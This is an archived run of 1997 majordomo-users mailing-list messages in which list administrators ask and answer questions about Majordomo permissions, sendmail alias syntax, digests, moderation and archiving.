localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id XAA31160 for ; Sun, 15 Jun 1997 23:37:13 -0400 Date: Sun, 15 Jun 1997 23:37:13 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com Subject: Re: [Q] The use of restrict_post In-Reply-To: <199706150918.MAA26542@merlin.ornet.co.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 15 Jun 1997, Ricardo Marek wrote: > 1) If the file containing the addresses is in the lists directory, it > is shown as a list served by majordomo... (via the lists command), > even if the file is not related to a list. How can I have a file > containing a list of 'restricted-people' without making a list or > creating a config-file for it? Call it list.posters or something -- filenames with a period in them don't show up in 'lists' etc. Kendall From owner-majordomo-users-outgoing Sun Jun 15 20:53:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA08796 for majordomo-users-outgoing; Sun, 15 Jun 1997 20:30:50 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA08768; Sun, 15 Jun 1997 20:30:38 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id XAA31099; Sun, 15 Jun 1997 23:30:49 -0400 Date: Sun, 15 Jun 1997 23:30:48 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com cc: webmaster@greatcircle.com Subject: Re: thanks: long command lines In-Reply-To: <"0018D33A40748007*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 15 Jun 1997, Andrew Witt wrote: > It would be great to have a link from the Majordomo page on the Great Circle > site to the searchable archive you mention ... I have written to the webmaster > at Great Circle to see if this can be done. Thanks again. No problem. I'm surprised that the searchable majordomo-users archive at http://www.hpc.uh.edu/majordomo-users/ isn't on the Mj page at http://www.greatcircle.com -- I hope it gets added, since it's a valuable tool. If it's not mentioned in the FAQ, it should be, right up front. :) Or perhaps in the welcome document for majordomo-users (again, if it's not already). Kendall From owner-majordomo-users-outgoing Sun Jun 15 21:08:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA12454 for majordomo-users-outgoing; Sun, 15 Jun 1997 21:04:35 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA12437 for ; Sun, 15 Jun 1997 21:04:24 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA23040; Sun, 15 Jun 1997 23:04:45 -0500 (CDT) To: "Shirlyn Wong" Cc: Subject: Re: Using GET to get MIME-type files References: <9706160011.AA04739@asiasps1.sps.mot.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Jun 1997 23:04:44 -0500 In-Reply-To: "Shirlyn Wong"'s message of Mon, 16 Jun 1997 08:25:20 +0800 Message-ID: Lines: 11 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "SW" == Shirlyn Wong writes: SW> I think that my solution is MIME-types but don't know how to go about SW> supporting it. Should the SendMail be the one I'm looking at? Majordomo knows absolutely nothing about MIME. This is unfortunate because it prevents you from doing what you want to do, but then the get functionality was only intended to support small text files. Just use FTP and look into ftpmail if you absolutely must provide an email interface. - J< From owner-majordomo-users-outgoing Sun Jun 15 21:37:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA13831 for majordomo-users-outgoing; Sun, 15 Jun 1997 21:23:56 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA13824 for ; Sun, 15 Jun 1997 21:23:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA23439; Sun, 15 Jun 1997 23:24:18 -0500 (CDT) To: majordomo-users@GreatCircle.COM Subject: Re: thanks: long command lines References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Jun 1997 23:24:17 -0500 In-Reply-To: "Kendall P. Bullen"'s message of Sun, 15 Jun 1997 23:30:48 -0400 (EDT) Message-ID: Lines: 14 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "KPB" == Kendall P Bullen writes: KPB> I'm surprised that the searchable majordomo-users archive KPB> at http://www.hpc.uh.edu/majordomo-users/ isn't on the Mj page at KPB> http://www.greatcircle.com -- I hope it gets added, since it's a KPB> valuable tool. Anyone is free to link to ow otherwise mention my site; I intend for it to be around indefinitely, or some reasonable approximation to 'indefinitely'. I think Jerry put it into MIIS v2 (the O'Reilly book with the useful Majordomo section which everyone should buy once it comes out) so I'm bound to keep it there in some form until the sun goes nova. - J< From owner-majordomo-users-outgoing Sun Jun 15 21:53:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA14714 for majordomo-users-outgoing; Sun, 15 Jun 1997 21:36:29 -0700 (PDT) Received: from vox.system.gsl.net (vox.system.gsl.net [204.59.156.51]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA14691 for ; Sun, 15 Jun 1997 21:36:20 -0700 (PDT) Received: from tim1.erols.com (ts1-ppp1.system.gsl.net [204.59.156.64]) by vox.system.gsl.net (8.8.5/8.8.5) with SMTP id AAA04776 for ; Mon, 16 Jun 1997 00:35:45 -0400 Message-Id: <3.0.32.19970616003750.007211dc@dot.system.gsl.net> X-Sender: timothy@dot.system.gsl.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 16 Jun 1997 00:37:56 -0400 To: majordomo-users@GreatCircle.COM From: Timothy Lancaster Subject: [Q] Permissions Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have been able to set up and run Majordomo fine except one problem. Users are unable to _unsubscribe_. Here is the message that is returned me as list-owner. --------------- MAJORDOMO ABORT (mj_majordomo)!! chown(512, 2, "/usr/local/majordomo-1.94.3/lists/listname.new"): Operation not permitted ---------------- When I look at this file (listname.new) it is owned by "mail" with group "mail" also. Group 512 is "majordomo", group 2 is "daemon" If anyone has any ideas, I would be very greatful. Thank You Timothy..... -------------------------------------- Timothy Lancaster tim.lancaster@globalone.net http://www.globalone.net http://vox.system.gsl.net -------------------------------------- From owner-majordomo-users-outgoing Sun Jun 15 22:07:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA15974 for majordomo-users-outgoing; Sun, 15 Jun 1997 21:50:21 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA15935 for ; Sun, 15 Jun 1997 21:50:05 -0700 (PDT) Received: from Venus.mcs.net (les@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id MAA10918; Sun, 15 Jun 1997 12:30:38 -0500 (CDT) Received: (from les@localhost) by Venus.mcs.net (8.8.5/8.8.2) id MAA12537; Sun, 15 Jun 1997 12:30:32 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706151730.MAA12537@Venus.mcs.net> Subject: Re: Searchable Archives --> was Re: hmonarc... To: mrauterkus@sportsurf.net (Mark Rauterkus) Date: Sun, 15 Jun 1997 12:30:31 -0500 (CDT) Cc: Majordomo-Users@GreatCircle.COM In-Reply-To: <199706141451.IAA21554@sportsurf.net> from "Mark Rauterkus" at Jun 14, 97 10:59:55 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > I'm about to create a searchable archives for my lists too -- but use a > new, off-the-shelf commercial product application. Interested? Nobody on > their user-list had worked with Mj before. > > Phantom is a search engine database + crawler that runs on Win/NT & Mac - > see maxum.com. I'm about 2 steps from jumping into this project for my > lists with Phantom and I'd love to do a gang tackle this solution. Runs > either as a WWW Server or as a WWW Server CGI. You might want to check out http://htdig.sdsu.edu/ as a free unix search engine suitable for indexing one or several sites. It should work pretty well if you have web accessable list archives. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Sun Jun 15 22:22:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA18310 for majordomo-users-outgoing; Sun, 15 Jun 1997 22:12:20 -0700 (PDT) Received: from vox.system.gsl.net (vox.system.gsl.net [204.59.156.51]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA18212 for ; Sun, 15 Jun 1997 22:11:58 -0700 (PDT) Received: from localhost (timothy@localhost) by vox.system.gsl.net (8.8.5/8.8.5) with SMTP id BAA05037 for ; Mon, 16 Jun 1997 01:11:23 -0400 Date: Mon, 16 Jun 1997 01:11:22 -0400 (EDT) From: Timothy Lancaster X-Sender: timothy@vox.system.gsl.net To: majordomo-users@GreatCircle.COM Subject: [Q] permissions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have been able to set up and run Majordomo fine except one problem. Users are unable to _unsubscribe_. Here is the message that is returned me as list-owner. --------------- MAJORDOMO ABORT (mj_majordomo)!! chown(512, 2, "/usr/local/majordomo-1.94.3/lists/listname.new"): Operation not permitted ---------------- When I look at this file (listname.new) it is owned by "mail" with group "mail" also. Group 512 is "majordomo", group 2 is "daemon" If anyone has any ideas, I would be very greatful. Thank You Timothy..... From owner-majordomo-users-outgoing Sun Jun 15 23:53:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA28402 for majordomo-users-outgoing; Sun, 15 Jun 1997 23:39:18 -0700 (PDT) Received: from mail.jentronix.com ([206.190.137.44]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA28358 for ; Sun, 15 Jun 1997 23:39:04 -0700 (PDT) Received: from grumblesmurf ([206.190.137.5]) by mail.jentronix.com (Netscape Mail Server v2.02) with SMTP id AAA177 for ; Sun, 15 Jun 1997 23:38:53 -0700 Message-Id: <3.0.2.32.19970615233647.00817150@206.190.137.44> X-Sender: tedder@206.190.137.44 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sun, 15 Jun 1997 23:36:47 -0700 To: majordomo-users@GreatCircle.COM From: Ted Timmons Subject: commas in my majordomo.aliases file? In-Reply-To: References: <3.0.1.32.19970526161815.0073b994@netcns.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Is this a correct line? My lists aren't archiving.. listname-l-outgoing: :include:/usr/majordomo/lists/listname-l, "| /usr/majordomo/wrapper digest -r -C -l listname-l-digest listname-l-digest-outgoing" "| /usr/majordomo/wrapper archive2.pl -a -m -f /usr/majordomo/archives/listname-l/listname-l.archive" -- -=TED=- O- JAPH tedder@abcompsvc.com PGP available ICQ: 547800 ABComputer Services, http://www.abcompsvc.com Proud father of a 53 Chev PU at http://www.chevytrucks.org From owner-majordomo-users-outgoing Mon Jun 16 00:52:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA06327 for majordomo-users-outgoing; Mon, 16 Jun 1997 00:44:47 -0700 (PDT) Received: from mail.jentronix.com ([206.190.137.44]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA06320 for ; Mon, 16 Jun 1997 00:44:41 -0700 (PDT) Received: from grumblesmurf ([206.190.137.5]) by mail.jentronix.com (Netscape Mail Server v2.02) with SMTP id AAA181 for ; Mon, 16 Jun 1997 00:10:39 -0700 Message-Id: <3.0.2.32.19970616000831.00806a50@206.190.137.44> X-Sender: tedder@206.190.137.44 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Mon, 16 Jun 1997 00:08:31 -0700 To: majordomo-users@GreatCircle.COM From: Ted Timmons Subject: Re: commas in my majordomo.aliases file? In-Reply-To: <3.0.2.32.19970615233647.00817150@206.190.137.44> References: <3.0.1.32.19970526161815.0073b994@netcns.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Argh, this message broke oddly. 'a' is line 1, 'b' is line 2, etc. At 11:36 PM 6/15/97 -0700, Ted Timmons wrote: >Is this a correct line? My lists aren't archiving.. > a listname-l-outgoing: :include:/usr/majordomo/lists/listname-l, b "| /usr/majordomo/wrapper digest -r -C -l listname-l-digest b listname-l-digest-outgoing" c "| /usr/majordomo/wrapper archive2.pl -a -m -f c /usr/majordomo/archives/listname-l/listname-l.archive" Does that help? -- -=TED=- O- JAPH tedder@abcompsvc.com PGP available ICQ: 547800 ABComputer Services, http://www.abcompsvc.com Proud father of a 53 Chev PU at http://www.chevytrucks.org From owner-majordomo-users-outgoing Mon Jun 16 02:23:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA17923 for majordomo-users-outgoing; Mon, 16 Jun 1997 02:21:53 -0700 (PDT) Received: from srv.ival.es (srv.ival.es [194.75.72.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id CAA17888 for ; Mon, 16 Jun 1997 02:21:40 -0700 (PDT) Received: from 1.IVAL (infov01.ival.es [194.75.68.161]) by srv.ival.es (8.8.5/8.8.5) with SMTP id LAA08505 for ; Mon, 16 Jun 1997 11:32:57 +0200 Message-Id: <3.0.1.32.19970616112057.007185e4@correo.ival.es> X-Sender: enrique@correo.ival.es X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Mon, 16 Jun 1997 11:20:57 +0200 To: majordomo-users@GreatCircle.COM From: Enrique =?iso-8859-1?Q?Rodr=EDguez?= =?iso-8859-1?Q?_L=E1zaro?= Subject: Moderator in Majordomo? Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, my name is Enrique, and i am from Spain (Valencia). Anybody could answer me the next questions?. - Which is the funcionament of a moderator. When the moderator receive a mail, what do he have to?. Resend?... to who and how?. I don't know configuret a moderator. ... The same message in spanish language: A quien me pueda ayudar: =BFAlguien me puede explicar cual es la pol=EDtica de un moderador de una li= sta de distribuci=F3n?. Es decir, imaginemos una lista de distribuci=F3n moderada. Esto es lo que supongo que debe pasar: - Envio mensaje a lista - Le llega al moderador, el cual obligatoriamente debe leer, aunque sea por encima, el mensaje para dar su visto bueno. - =BFC=F3mo redirige el moderador ese mensaje a todos los miembros de la= lista? - =BFPodr=EDa hacer (con el Majordomo 1.94.3) un filtrado de envios, enviand= o s=F3lo a unos cuantos miembros de esa misma lista?. Muchas gracias. Enrique From owner-majordomo-users-outgoing Mon Jun 16 02:53:04 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA22031 for majordomo-users-outgoing; Mon, 16 Jun 1997 02:47:45 -0700 (PDT) Received: from obelix.comunet.es (obelix.comunet.es [195.76.40.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id CAA21983 for ; Mon, 16 Jun 1997 02:47:30 -0700 (PDT) Received: from c611.comunet.es (c611.comunet.es [195.76.40.71]) by obelix.comunet.es (8.8.5/8.8.5) with ESMTP id LAA27849 for ; Mon, 16 Jun 1997 11:19:47 +0200 Message-Id: <199706160919.LAA27849@obelix.comunet.es> From: "Alejandro Iriondo" To: Subject: non-ascii characters in From field Date: Mon, 16 Jun 1997 11:48:53 +0200 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1157 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have seen that majordomo is not able to reply to the subscription requests of users who send non-ascii characters in the From field of their messages. Many spanish names have non-ascii characters. Also if I restrict post to the list, these users can't post to the list. Is there any way to solve this problem? Thanks. Alex Iriondo iriondo@comunet.es ComuNET http://www.comunet.es From owner-majordomo-users-outgoing Mon Jun 16 05:08:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA07697 for majordomo-users-outgoing; Mon, 16 Jun 1997 05:05:26 -0700 (PDT) Received: from gate.insite.co.uk (gate.insite.co.uk [193.123.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA07688 for ; Mon, 16 Jun 1997 05:05:20 -0700 (PDT) Received: from picard.insite.co.uk (picard.verity.com [192.168.70.35]) by gate.insite.co.uk (8.6.9/8.6.12) with SMTP id MAA09252 for ; Mon, 16 Jun 1997 12:05:14 GMT Received: by picard.insite.co.uk with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BC7A4D.A37D9C80@picard.insite.co.uk>; Mon, 16 Jun 1997 12:05:53 -0000 Message-ID: From: Peter Bowyer To: "'majordomo-users@greatcircle.com'" Subject: Re: Strange behavior Date: Mon, 16 Jun 1997 12:05:45 -0000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Sounds like you're not using 'resend' in your aliases. Post the relevant part of your aliases file for further help. Peter >---------- >From: Joao Rochate[SMTP:jrochate@ualg.pt] >Sent: Thursday, June 12, 1997 2:34 PM >To: majordomo-users@greatcircle.com >Subject: Strange behavior > >Hi.. > >I've read the FAQ and I still can't find the reason for the problem I have: > >Everything seems to be working, but I can't have control on my mailing list. >I can't moderate, I can't put a footer on all messages, I can't stop people >from outside the list to send messages... > >But I can subscribe, unsubscribe, etc.. > >What's wrong? I use Digital UNIX on Alpha. > >Thanks, > Joao Rochate > >======================================================= >Joao Pedro Rochate | EMail: jrochate@ualg.pt >Servicos de Informatica | URL: w3.ualg.pt/~jrochate >Universidade do Algarve | Phone: +351 (0)89 800 961 >8000 Gambelas - FARO | ISDN: +351 (0)89 860 125 >P O R T U G A L (pt) | Mobile:+351 (0)936 660 662 >-=[ http://www.ualg.pt ]=- | Fax: +351 (0)89 860 129 >======================================================= >Eng. de Sistemas e Computacao - UCEH - Univ. do Algarve > > From owner-majordomo-users-outgoing Mon Jun 16 06:08:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA11974 for majordomo-users-outgoing; Mon, 16 Jun 1997 06:01:01 -0700 (PDT) Received: from igate.usp.org (igate.usp.org [206.99.225.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA11875 for ; Mon, 16 Jun 1997 06:00:41 -0700 (PDT) From: tag@the.usp.org Received: from ns3.usp.org by igate.usp.org via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 16 Jun 1997 13:01:02 UT Received: from the.usp.org by usp.org (SMI-8.6/SMI-SVR4) Received: from ccMail by the.usp.org (SMTPLINK V2.11.01) id AA866476740; Mon, 16 Jun 97 08:58:38 EST Date: Mon, 16 Jun 97 08:58:38 EST Message-Id: <9705168664.AA866476740@the.usp.org> To: majordomo-users@greatcircle.com Subject: Bouncing Digests. Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm having trouble getting Digests out. They are getting created correctly...even mailed when they're supposed to. But they're bouncing on the way out with the following error: ---------------------------------------------------------------------- The original message was received at Thu, 12 Jun 1997 10:17:31 -0400 from majordom@localhost ----- Transcript of session follows ----- 501 owner-consumer-pnl@usp.org... Recipient names must be specified Message delivered to mailing list owner-consumer-pnl@usp.org ----- Original message follows ----- Return-Path: Received: by usp.org (SMI-8.6/SMI-SVR4) Date: Thu, 12 Jun 1997 10:17:31 -0400 Message-Id: <199706121417.KAA06545@usp.org> From: owner-consumer-pnl@usp.org (consumer-pnl) To: consumer-pnl-digest@usp.org Subject: consumer-pnl V1 #5 Reply-To: Sender: owner-consumer-pnl@usp.org Errors-To: owner-consumer-pnl@usp.org Precedence: bulk content-length: 7886 ---------------------------------------------------------------------- The aliases file looks as follows: ______________________________________________________________________ # Majordomo aliases # ###################### owner-owner: postmaster majordomo: "|/apps/inet/local/majordomo/wrapper majordomo" majordom: owner-majordomo owner-majordomo: tag@usp.org majordomo-owner: tag@usp.org # # Consumer-pnl # consumer-pnl: "|/apps/inet/local/majordomo/wrapper resend -p bulk -M 10000 -R -l consumer-pnl -f consumer-pnl-owner -h ns3.usp.org -s consumer-pnl-tempore" consumer-pnl-owner: tag@usp.org # previous 3 lines are wrapped owner-consumer-pnl: tag@usp.org consumer-pnl-request: "|/apps/inet/local/majordomo/wrapper request-answer consumer-pnl " # previous two lines are wrapped consumer-pnl-approval: consumer-pnl-owner consumer-pnl-outgoing: :include:/apps/inet/local/majordomo/lists/consumer-pnl # previous two lines are wrapped owner-consumer-pnl-archive: consumer-pnl-owner owner-consumer-pnl-request: consumer-pnl-owner consumer-pnl-tempore: consumer-pnl-outgoing,consumer-pnl-digestify consumer-pnl-digest: consumer-pnl consumer-pnl-digest-approval: owner-consumer-pnl consumer-pnl-digestify: "|/apps/inet/local/majordomo/wrapper digest -r -C -l consumer-pnl-digest" # previous 2 lines are wrapped consumer-pnl-digest-send: "|/apps/inet/local/majordomo/wrapper resend -p bulk -R -l consumer-pnl-digest -f consumer-pnl-owner -h ns3.usp.org -s consumer-pnl-digest-outgoing" # previous 3 lines are wrapped consumer-pnl-digest-outgoing: :include:/apps/inet/local/majordomo/lists/consumer-pnl-digest # previous 2 lines are wrapped ---------------------------------------------------------------------- the file /apps/inet/local/majordomo/lists/consumer-pnl-digest does exist and contains valid email addresses. Any help would be GREATLY appreciated. Tim Greiner tag@usp.org From owner-majordomo-users-outgoing Mon Jun 16 06:38:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA15226 for majordomo-users-outgoing; Mon, 16 Jun 1997 06:34:29 -0700 (PDT) Received: from panoramix.umh.ac.be (panoramix.umh.ac.be [193.190.194.7]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA15209 for ; Mon, 16 Jun 1997 06:34:01 -0700 (PDT) Received: from asterix.umh.ac.be (asterix.umh.ac.be [193.190.194.5]) by panoramix.umh.ac.be (AIX4.2/UCB 8.7/8.7) with SMTP id PAA18398 for ; Mon, 16 Jun 1997 15:31:58 +0200 (DFT) Message-Id: <199706161331.PAA18398@panoramix.umh.ac.be> X-Mailer: Microsoft Outlook Express 4.71.0544.0 From: "M. Christophe Dumont" To: Subject: newbie :-), help: check aliases Date: Mon, 16 Jun 1997 15:33:15 +0200 X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MimeOLE: Produced By Microsoft MimeOLE Engine V4.71.0544.0 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I installed Majordomo 1.94.3 on my AIX 4.2 - Perl 5.002 - sendmail 8.7 (it was easy). But when it's time to run a list, I have a lot of difficulties running this list, like: ******* ----- The following addresses have delivery notifications ----- "/usr/local/majordomo/wrapper request-answer lisaaml" (unrecoverable error) (expanded from: ) --- The transcript of the session follows --- 550 "/usr/local/majordomo/wrapper request-answer lisaaml"... Can't create output: The file access permissions do not allow the specified action. ****** So, can you check my aliases if I'm wrong: (I don't want archiving or digesting) *first version: ################################################### # # General Majordomo aliases # ################################################### majordomo: "|/usr/local/majordomo/wrapper majordomo" owner-majordomo: christof, majordomo-owner: christof lisaaml: "|/usr/local/majordomo/wrapper resend -l lisaaml lisaaml-list" lisaaml-list: :include:/usr/local/majordomo/lists/lisaaml owner-lisaaml: 960616, lisaaml-owner: 960616 lisaaml-request:"|/usr/local/majordomo/wrapper majordomo -l lisaaml" lisaaml-approval:960616 *second version: ################################################### # # General Majordomo aliases # ################################################### majordomo: "|/usr/local/majordomo/wrapper majordomo" owner-majordomo: christof, majordomo-owner: christof lisaaml: :include:/usr/local/majordomo/lists/lisaaml owner-lisaaml: 960616, lisaaml-owner: 960616 lisaaml-request:"/usr/local/majordomo/wrapper request-answer lisaaml" lisaaml-approval:960616 Thanks in advance for your help. -Christofer ---------------------------------------------------------------------------- * Christophe Dumont * * * Service d'Informatique de gestion * E-mail: C.Dumont@mercure.umh.ac.be * * Faculté Warocqué Sc. Eco * http://panoramix.umh.ac.be/christof * * UNIVERSITE DE MONS - HAINAUT * * * Place Warocqué, 17 * Voice : +32 65 37 32 99 * * B-7000 MONS BELGIUM (EUROPE) * Fax : +32 65 37 30 79 * ---------------------------------------------------------------------------- *> L'imagination est le commencement de la création. <* *> On imagine ce que l'on désire; on veut ce que l'on imagine; <* *> et on finit par créer ce que l'on veut. = BERNARD SHAW = <* ---------------------------------------------------------------------------- From owner-majordomo-users-outgoing Mon Jun 16 07:08:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA17061 for majordomo-users-outgoing; Mon, 16 Jun 1997 06:59:42 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA17053 for ; Mon, 16 Jun 1997 06:59:37 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id JAA03465 for ; Mon, 16 Jun 1997 09:59:58 -0400 Date: Mon, 16 Jun 1997 09:59:58 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com Subject: Re: commas in my majordomo.aliases file? In-Reply-To: <3.0.2.32.19970616000831.00806a50@206.190.137.44> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 16 Jun 1997, Ted Timmons wrote: > Argh, this message broke oddly. 'a' is line 1, 'b' is line 2, etc. > > At 11:36 PM 6/15/97 -0700, Ted Timmons wrote: > >Is this a correct line? My lists aren't archiving.. > > > a listname-l-outgoing: :include:/usr/majordomo/lists/listname-l, > b "| /usr/majordomo/wrapper digest -r -C -l listname-l-digest > b listname-l-digest-outgoing" > c "| /usr/majordomo/wrapper archive2.pl -a -m -f > c /usr/majordomo/archives/listname-l/listname-l.archive" You need a comma after line 'b'. . . . (I won't vouch for anything else. ;) Kendall From owner-majordomo-users-outgoing Mon Jun 16 07:38:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA20117 for majordomo-users-outgoing; Mon, 16 Jun 1997 07:23:47 -0700 (PDT) Received: from krumm.commline.com (krumm.commline.com [207.78.30.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA20102 for ; Mon, 16 Jun 1997 07:23:41 -0700 (PDT) Received: from localhost (dmbong@localhost) by krumm.commline.com (8.8.5/8.8.3) with SMTP id KAA02177 for ; Mon, 16 Jun 1997 10:27:45 -0400 (EDT) X-Authentication-Warning: krumm.commline.com: dmbong owned process doing -bs Date: Mon, 16 Jun 1997 10:27:44 -0400 (EDT) From: "Brian L. Heess" To: majordomo-users@GreatCircle.COM Subject: archive and archive2 In-Reply-To: <199706160919.LAA27849@obelix.comunet.es> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Just wondering what the differences are between archive and archive2. The LOOK similar, but they must be different. I've just been using archive for years. Cheers, -Brian From owner-majordomo-users-outgoing Mon Jun 16 09:08:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA26037 for majordomo-users-outgoing; Mon, 16 Jun 1997 08:44:28 -0700 (PDT) Received: from cais.cais.com (cais.com [199.0.216.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA25992 for ; Mon, 16 Jun 1997 08:44:16 -0700 (PDT) Received: from cyberfam.cais.com.cais.com (cyberfam.cais.com [207.176.65.70]) by cais.cais.com (8.8.5/) with SMTP id LAA11076 for ; Mon, 16 Jun 1997 11:44:37 -0400 (EDT) Message-Id: <3.0.1.32.19970616115337.006e466c@cais.com> X-Sender: cyberfam@cais.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Mon, 16 Jun 1997 11:53:37 -0400 To: majordomo-users@GreatCircle.COM From: Allison & Rick Martin Subject: No digest Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I am helping another listowner who knows even less than I do about using Majordomo and apparently can not get help from her new system administrator. We don't have access to the server except through the PC. The digest is not going out at all since they moved to a new server/provider. I found this in the config file, which is not in either of my lists. I assume this is an older version of majordomo. I haven't been able to find the version number either - it isn't in the help output. Here is the likely problem: # digest_list [string] (none) # The digest mailing list digest_list = none I am going to try setting it to digest, and if that doesn't work to the name of the digest. My third idea is to force a digest. Any other suggestions? Allison & Rick 